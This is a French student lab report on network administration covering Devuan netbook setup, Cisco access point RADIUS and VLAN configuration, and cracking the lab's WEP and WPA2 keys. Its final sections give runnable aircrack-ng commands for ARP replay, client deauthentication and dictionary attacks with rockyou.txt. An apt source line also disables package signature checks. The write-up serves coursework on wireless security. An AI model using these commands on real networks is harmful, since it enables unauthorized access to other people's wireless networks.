TP sysres IMA2a5 2018/2019 G5
Sommaire
- 1 Introduction
- 2 Configuration des netbooks
- 3 Installation du réseau : connexion des routeurs, commutateurs, bornes WiFi et du serveur Cordouan
- 4 Mise en place du serveur
- 5 Configuration des points d'accès
- 6 Crackage de la clé WEP
Introduction
Le projet a pour but de mettre en place un réseau sur 2 salles du bâtiment E de polytech constitué de 2 routeurs, 2 commutateurs, 2 bornes Wifi et un serveur. Chaque groupe dispose de machines virtuelles sur le serveur, qui permettront de constituer chacun un domaine acheté sur GANDI. Les routeurs et commutateurs seront configurés à l'aide de netbooks configurés par nos soins.
Configuration des netbooks
Présentation de Devuan GNU/Linux
Devuan (à prononcer "Dev One" à l'anglaise) est un fork de Debian lancé en novembre 2014, afin de proposer une alternative à Debian sans systemd, un paquet développé par Lennart Poettering, un développeur de chez Red Hat. Il est controversé pour les raisons suivantes :
- Son manque de respect pour la philisophie UNIX (KISS : "Keep It Simple Stupid"), le projet était au départ un simple init pour remplacer System V, puis s'est finalement vu octroyer de nombreux pouvoirs, notamment le remplacement de logind, udev et dbus
- Sa redondance avec les fonctionnalités faisant partie de l'OS et de la plupart des paquets existants, notamment la commande journalctl qui est si indispensable qu'on peut obtenir des résultats tout aussi pertinents en tapant un simple dmesg, ou un cat /var/log/CeQuiNousInteresse.log, on peut donc en conclure que des ressources supplémentaires sont consommées inutilement pour réalisée 2 fois une même tâche
- Les développeurs et mainteneurs des distributions l'utilisant (Debian, Ubuntu, Mint, Arch, etc.) tenant tant à ce paquet, ils en font une dépendance à beaucoup de paquets, l'OS devient donc vite inutilisable, ou du moins inutile sans systemd.
Ainsi, Devuan est une distribution permettant de s'affranchir de systemd, on remarquera une baisse de la consommation des ressources : pour un shell sans Xorg avec Systemd 56 MB de RAM sont consommés, 28 MB sans systemd. La dernière du nom est la version 2.0 "ASCII", basée sur Debian 9 "Stretch". Il est même possible d'effectuer une migration depuis cette dernière factilement.
Migration de Debian Stretch vers Devuan Ascii
Modification du fichier /etc/apt/sources.list :
deb [trusted=yes]http://fr.deb.devuan.org/merged ascii main contrib non-free
Lancement de la migration (à effectuer sous session root) :
#apt dist-upgrade #apt upgrade #apt purge systemd
Quelques systèmes d'exploitation UNIX-Like fonctionnant également très bien sans Systemd
Nom | Basée sur | Init |
---|---|---|
Devuan | Debian | sysv + rc |
Artix | Arch | runit ou openrc |
Slackware | indépendante | sysv + rc |
Void Linux | Indépendante | runit |
FreeBSD | Indépendante | propre à BSD |
TrueOS | FreeBSD | openrc |
Installation du système d'exploitation
Devuan est une distribution "clefs en main", très accessible aux utilisateurs qui ne sont pas familiers à Linux, tout est assisté pour simplifier au maximum l'installation. Dans notre cas, le partitionnement a été effectué manuellement, afin d'éviter que la partition de Windows soit accidentellement supprimée.
Configuration et personnalisation
Installation d'un environnement simple et léger
L'environnement de bureau installé sur Eperlan est i3wm, une interface dite "tiling" : les fenêtres se comportent comme des tuiles et sont arrangées pour utiliser toute la surface de l'écran. L'interface consomme peu, ce qui permet d'avoir une meilleure autonomie par rapport à des interfaces plus complètes comme KDE, GNOME ou XFCE. Le paquet et toute sa documentation sont disponibles sur le site officiel d'i3. Installation d'i3 :
#apt install i3 i3status i3lock dmenu xcompmgr slim
Configuration de Xorg :
#X -configure
On s'assure que le fichier /root/xorg.conf.new est cohérent Section "Device"
Identifier "Card0" Driver "intel" BusID "PCI:X:Y:Z"
EndSection
Avec X, Y, et Y étant les même ID que ceux affichés quand on saisit la commande
#lspci | grep VGA
L'émulateur de terminal utilisé est rxvt-unicode, une version de rxvt qui prend en charge les caractères UTF-8, qu'on personnalisera. Installation de rxvt-unicode :
#apt install rxvt-unicode
Personnalisation de rxvt dans le fichier ~/.Xdefaults : urxvt*transparent: true urxvt*shading: 20 urxvt.scrollBar: false urxvt.foreground: #cccccc urxvt.background: #111111
Recompilation du noyau
Installation du réseau : connexion des routeurs, commutateurs, bornes WiFi et du serveur Cordouan
Mise en place du serveur
Préparation et configuration des machines virtuelles
Création de la machine virtuelle
Installation de Devuan
Personnalisation des points de montage /var et /home
Installation de Docker
Installation des serveurs SSH, DNS et https
Configuration des points d'accès
Dans cette partie, on dispose de deux bornes wifi a configurer, la premiére en E306 et l'autre en E304, en utilisera le server FreeRadius pour l'identification. Pour cela, voici le procédé :
1/ Acceder à la configuration de la borne wifi :
minicom -os
On modifiant ttyACM0 par exemple, avec 9600 bauds et sans control de flux.
2/ Se mettre en mode previligié :
enable // avec "Cisco" comme mot de passe.
3/ Se mettre en mode configuration :
config term
// On peut verifier également la configuration de la borne avant de la modifier, avec la commande "show run"
4/ Pour utiliser le system en 'authentication, authorization, and accounting', il faut cette commande :
aaa new-model
5/ On cree un server radius pour un utilisateur :
radius-server host < ip_groupe1 > auth-port 1812 acct-port 1813 // on remplace ip_groupe1 par l'ip du groupe (de la VM) , avec comme port d'authentification 1812,et accounting 1813
6/ On defini le server group :
aaa group server radius radius_groupe1 // on remplace groupe1 par le nom du groupe (ex: Coreff)
7/ Puis, on associe à se groupe de server le server creer sur la VM:
server <ip_group1> auth-port 1812 acct-port 1813
8/ Ensuite, on defini le login et le groupe server que l'utilisateur passera pour s'authentifier :
aaa authentication login eap_group1 group radius_group1 // groupe1 remplacé par le nom du groupe
NB : Les commandes 4 à 8, sont à faire pour chaque groupe de la promo.
9/ On arrive à la création des SSID, protégé par la méthode WPA2-EAP, on rajoutant le vlan du group :
dot11 ssid SSID_GROUP // exemple : SSID_Coreff vlan vlan_groupe1 // le vlan du groupe (ex : 2 ) authentication open eap eap_group1 authentication network-eap eap_group1 authentication key-management wpa
NB : cette derniere commande est a faire pour chaque groupe.
10/ Configurer les vlans des groupes :
interface Dot11Radio0 // on rentre d'abord dans l'interface Dot11Radio0 encryption vlan vlan_groupe mode ciphers aes-ccm tkip // Cette ligne est a faire pour chaque vlan, qui servira à chiffrer les paquets
Pour pouvoir se connecter au réseau, il faudra relier l'interfaces virtuelle à l'interface gigabites, via des 'bridge-groupe', et comme on a plusieur utilisateurs, donc il faut creer autant des sous-interfaces dot11radio0 et puis la relier
aux sous-interfaces gigabites.
11 / Creer une sous-interface pour chaque utilisateur, en donnant à l'instance le numéro du vlan :
interface dot11Radio0.num_vlan // num_vlan a remplacer par le numéro du vlan encapsulation dot1Q num_vlan bridge-groupe num_vlan
12/ Creer une sous-interface gigabite pour chaque utilisateur, en donnant à l'instance le numéro du vlan :
interface gigabite0.num_vlan encapsulation dot1Q num_vlan bridge-groupe num_vlan
13/ Ajouter les SSID à l'interface Dot11Radio0
interface Dot11Radio0 // se mettre dans la bonne interface (i.e Dot11Radio0) ssid SSID_groupe // on remplace "groupe" par le nom du groupe de la promo /* CETTE COMMANDE EST À FAIRE POUR TOUT LES SSID */
14/ rendre les SSID visibles :
interface Dot11Radio0 mbssid // Il faut rajouter l'option "mbssid" à l'interface Dot11Radio0
dot11 ssid SSID_groupe mbssid guest-mode // mettre les ssid en guest-mode pour qu'il soient visibles. /* CES COMMANDES SONT À FAIRE POUR CHAQUE SSID */
Crackage de la clé WEP
Pour cette partie, on avait un soucis avec le wifi du notebook, donc on a utilisé clé wi-pi.
Le process est assez simple, où il faut installer d'abord le package "aircrack-ng" :
apt-get install aircrack-ng
en utilisant la commande "airmon-ng", on liste les interface disponibles :
airmon-ng
On repére notre interface wlan, donc on va la démarrer :
airmon-ng start wlan0mon // le nom original est trop long pour linux, donc il a été renomé " wlan0mon"
Aprés avoir tuer les process, l'interface est prête pour le crackage.
1/ Lister les réseaux, avec des informations sur le trafic :
airodump-ng -i wlan0mon -c9 // On écoute sur le canal 9
2/ On peut simuler une association entre le eeePC et le point d'accès pour augmenter le trafic:
aireplay-ng -1 0 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:2E:DC wlan0mon // l'adresse MAc du réseau ' cracotte 06' et puis la station associé
3/ Ensuite on utilise l'attaque avec les paquets ARP :
aireplay-ng -3 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:2E:DC -e cracotte06 wlan0mon
Les arp request sont sauvegardés dans le fichier "replay_arp-1130-104715.cap" On laisse tourner cette commande sur un terminal, et on ouvre un autre terminal pour la commande suivante
4/ Cracker la clé :
aircrack-ng replay_arp-1130-104715.cap
On choisit le numéro 6 => cracotte06
Cassage du WPA2
Dans cette partie, on utilisera la méthode du dictionnaire, vu qu'elle est plus rapide que celle de la force brute.
Pour cela, on procede ainsi :
1/ Ecouter le trafic réseau et le sauvegarder dans le fichier resultat :
airodump-ng -w resultat -c9 wlan0mon // on laisse tourner cette commande dans un terminal
2/ On utilise aireplay-ng avec l'option de désauthentification, qui nous permettra de recuperer le Handshake :
aireplay-ng -0 0 -a 04:DA:D2:9C:50:50 -c 40:A5:EF:0F:68:CB wlan0mon
3/ On télécharge un dictionnaire, qui nous aidera a trouver la bonne combinaison, et une fois on a le handShake, on applique le fichier dictionnaire à aircrack-ng :
aircrack-ng -0 -w /home/pifou/Downloads/rockyou.txt resultat-03.cap // le word list dans ce cas est le fichier rockyou.txt
Et cela, peut prendre beaucoup de temps....